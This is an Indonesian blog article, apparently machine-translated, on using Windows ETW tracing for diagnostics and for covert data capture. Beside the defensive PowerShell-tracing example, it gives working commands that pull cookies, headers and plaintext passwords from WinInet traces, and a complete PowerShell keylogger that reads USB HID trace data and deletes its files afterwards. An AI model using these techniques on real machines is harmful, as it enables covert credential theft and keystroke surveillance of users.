
Dalam artikel sebelumnya tentang sniffer PowerShell dan mengumpulkan data boot dari server jauh, saya sudah menulis sedikit tentang kemampuan ETW (Event Tracing for Windows). Hari ini saya ingin berbicara lebih banyak tentang teknologi ini.
Pada saat yang sama, saya akan menunjukkan menggunakan HTTPS dan membuat keylogger di PowerShell sebagai contoh bagaimana hal itu dapat digunakan untuk kebaikan. Atau tidak benar-benar untuk kebaikan.
Bekerja dengan ETW
Pelacakan Peristiwa untuk Windows mengumpulkan dan mengirim pesan dari komponen sistem Windows dan aplikasi pihak ketiga. Itu muncul kembali pada zaman Windows 2000, tetapi jika pada masa itu ada beberapa lusin penyedia sistem, sekarang skor mereka sudah mencapai ratusan. Pesan mudah digunakan untuk mendiagnosis kesalahan dan menyelesaikan masalah kinerja perangkat lunak.
Beberapa penyedia sistem sudah menulis ke log peristiwa Windows secara default, dan beberapa disertakan secara terpisah. Jadi, bahkan jika Anda tidak tahu tentang ETW, Anda mungkin menggunakannya. Anda dapat berkenalan dengan log dan mengaktifkan beberapa dari mereka jika perlu di penampil peristiwa standar dalam log aplikasi dan layanan. Sedikit tentang majalah dan tentang cara menggunakannya dapat ditemukan di artikel " Kami memutar log seperti yang kita inginkan - analisis log dalam sistem Windows ".
Anda bisa melihat daftar penyedia yang ada yang hanya senang memberi tahu kami apa yang terjadi pada mereka dengan perintah penyedia kueri logman .

Penyedia ETW.
Anda dapat menggunakan perintah penyedia logman permintaan -pid <proses PID> untuk melihat daftar penyedia yang terhubung ke proses Windows tertentu (dan, karenanya, pelajari sesuatu tentang itu) .

Daftar penyedia yang terhubung ke notebook biasa.
Anda dapat mengaktifkan berlangganan acara penyedia tertentu atau melacak melalui PowerShell menggunakan cmdlet New-NetEventSession . Dan Anda bahkan dapat mengklik dengan mouse di jalur "Manajemen Komputer" - "Kinerja" - "Kelompok pengumpul data." Di sini, di sesi pelacakan acara, Anda dapat melihat jejak mana yang sedang berjalan, dan Anda dapat membuat kolektor sendiri jika diinginkan.

Lari jejak.
Anda dapat melihat hasilnya menggunakan utilitas dan set utilitas seperti Microsoft Message Analyzer , Windows Performance Toolkit, atau bahkan cmdlet PowerShell Get-WinEvent .
Saya sarankan Anda membaca fitur ETW di dokumentasi Microsoft, Anda bisa mulai dengan bagian Tentang Pelacakan Peristiwa . Saya juga dapat merekomendasikan beberapa materi bagus “ Kami mempelajari ETW dan mengekstrak laba ”.
Karena ETW beroperasi pada level kernel, ETW dibedakan oleh kecepatan pengiriman pesan dan tidak adanya kebutuhan untuk menginstal driver apa pun atau menyuntikkan ke dalam aplikasi. Biasanya, ETW digunakan untuk mendiagnosis masalah kinerja dan aplikasi. Sebagai contoh, artikel " Mempercepat boot Windows untuk kesenangan dan keuntungan " menganalisis faktor-faktor yang mempengaruhi perlambatan pemuatan, dan dalam artikel CPU 24-core dan saya tidak bisa menggerakkan mouse saya - alasan untuk memperlambat Windows pada operasi biasa. Biarkan saya memberi Anda sebuah contoh - PowerDell menjalankan analisis cmdlet.
Menonton PowerShell
Misalkan dalam beberapa cara (misalnya, melalui audit startup proses), Anda menemukan bahwa proses cadel dan skrip PowerShell sedang berjalan di komputer Anda. Salah satu teknik adalah menggunakan ETW untuk menganalisis aktivitas mereka. Misalnya, lihat penyedia PowerShell. Aktifkan penelusuran dengan perintah:
logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets
Sekarang mari kita tunggu sampai skrip yang tidak bisa dipahami berhasil, hentikan jejaknya dengan perintah:
logman stop pstrace -ets
Sekarang Anda dapat melihat jejaknya, misalnya, melalui Microsoft Message Analyzer.

Clean.ps1 yang mencurigakan jelas mencari dan menghapus sesuatu.
Jika Anda memilih garis yang diinginkan, maka di panel bawah akan ada informasi tambahan tentang acara tersebut.

Ah, ini skrip yang sama untuk menghapus cache 1C!
Kali ini semuanya ternyata basi. Namun dalam kasus yang lebih kompleks, Anda dapat menjalankan penelusuran untuk memeriksa aktivitas lain:
- aktivitas jaringan;
- Resolusi DNS
- akses disk;
- bekerja dengan memori;
- Aktivitas WMI
- dan masih banyak lagi.
Dengan cara ini, ETW dapat membantu menangkap malware dan memahami cara kerja aplikasi. Di beberapa tempat, ini lebih informatif daripada Monitor Proses biasa. Tetapi di samping perbuatan baik, mekanismenya memiliki sisi "gelap".
Tentu saja, Anda dapat membunuh dengan palu dan menyelamatkan dengan pistol. Tentu saja, saya tidak akan melakukan penilaian moral atas mekanisme tersebut, tetapi dalam hal apa pun, peluang menarik terbuka.
Saya akan memberikan beberapa contoh sebagai Bukti-Konsep
S berarti aman
Dalam contoh ini, saya akan menunjukkan betapa mudahnya untuk mengetahui apa yang dicari pengguna di Internet, bahkan melalui HTTPS. Anda dapat melihatnya tanpa PowerShell - hanya mouse, hanya hardcore. Dalam tugas kami akan ada pengguna, akan ada Windows, Internet Explorer dan log peristiwa.
Mari kita mulai dengan menyalakan log peristiwa Wininet. Ini dilakukan sebagai berikut: buka log peristiwa, pada tab "Lihat", aktifkan tampilan log analitik dan debug.

Tambahkan tampilan log yang diinginkan.
Setelah itu, aktifkan UsageLog di menu konteks, dan ini cukup untuk mendapatkan informasi yang diperlukan. Mari gunakan IE dan lihat log:

Majalah WinInet.
Sebenarnya, di header majalah dan permintaan langsung ke mesin pencari terlihat.
Selain header, Anda juga dapat menggunakan buku catatan untuk mengeluarkan cookie, dan pada saat yang sama lihat permintaan POST - misalnya, untuk menarik kredensial. Teknik ini berfungsi pada aplikasi apa pun yang menggunakan wininet.dll untuk bekerja dengan Internet. Misalnya, browser Edge.
Hal yang sama mudah diimplementasikan pada PowerShell, dan bahkan pada cmd. Saya akan memberikan contoh implementasi terakhir.
Pertama, buat jejak:
logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets
Sekarang mari kita bekerja di browser, periksa emailnya. Tracing kemudian dapat dihentikan dengan perintah:
logman stop CookieStealer -ets
Analisis paling sederhana dapat dilakukan dengan menggunakan utilitas perintah wevtutil.exe . Misalnya, untuk melihat permintaan POST, perintahnya adalah:
wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"
Anda bahkan dapat secara acak mencoba mencari kata sandi dan mendapatkan hasilnya.

Kata sandi dalam teks biasa. Sangat menyebalkan.
Perlu dicatat bahwa antivirus itu diam pada saat yang sama. Memang, ini adalah proses penelusuran normal.
Tentu saja, acara WinInet juga dapat digunakan untuk mendiagnosis masalah seperti "mengapa situs ini tidak terbuka dan apa yang terjadi sama sekali." Namun demikian, kemungkinannya cukup menarik. Saya beralih ke contoh yang lebih bengkok.
Keylogger di PowerShell. Karena saya bisa.
Ada dua penyedia ETW yang menarik di Windows:
Dengan bantuan mereka, Anda bisa mendapatkan data HID yang ditransfer perangkat USB seperti keyboard atau mouse. Data ditangkap mentah, tetapi berkat spesifikasi HID , ia dapat dengan mudah dibaca.
Untuk mulai melacak, cukup jalankan perintah berikut:
logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets
Dan data dapat diperoleh dengan cmdlet PowerShell:
$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"}
Saya akan memberikan contoh skrip sederhana yang membaca jejak data dan mengubahnya menjadi nilai yang dapat dibaca. Konversi dilakukan hanya untuk huruf bahasa Inggris dan secara eksklusif dalam huruf kapital.
Daftar lengkap skrip di bawah spoiler. $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination"
Saat diluncurkan, skrip mengaktifkan jejak selama 10 detik, lalu menunjukkan hasilnya.

Hasil skrip.
Tentu saja, setelah memahami data HID, Anda dapat memperbaiki skrip ke keylogger penuh yang akan merekam data dari keyboard dan mouse. Perlu dicatat keterbatasan mekanisme ini:
- hanya bekerja dengan USB, dan PS \ 2 (seperti yang kadang-kadang ditemukan di laptop) tidak didukung;
- Dukungan USB 3.0 diumumkan hanya di Windows 8 dan di atasnya;
- Hak administrator (UAC) diperlukan.
Tapi tidak ada pengemudi dan pencegat. Yah, tentu saja, selain penggunaan berbahaya, keylogger seperti itu dapat membantu mendiagnosis masalah dengan keyboard. Secara teoritis.
Apakah saya perlu takut
Bahkan mekanisme built-in di tangan penjahat dapat menyebabkan masalah. Metode perlindungan tetap sama: memblokir file yang dapat dieksekusi bukan dari direktori sistem, tidak berfungsi sebagai pengguna dengan hak administrator, dan jika mereka berfungsi, setidaknya jangan nonaktifkan UAC. Dan, tentu saja, browser Windows bawaan dalam hal keamanan menimbulkan pertanyaan.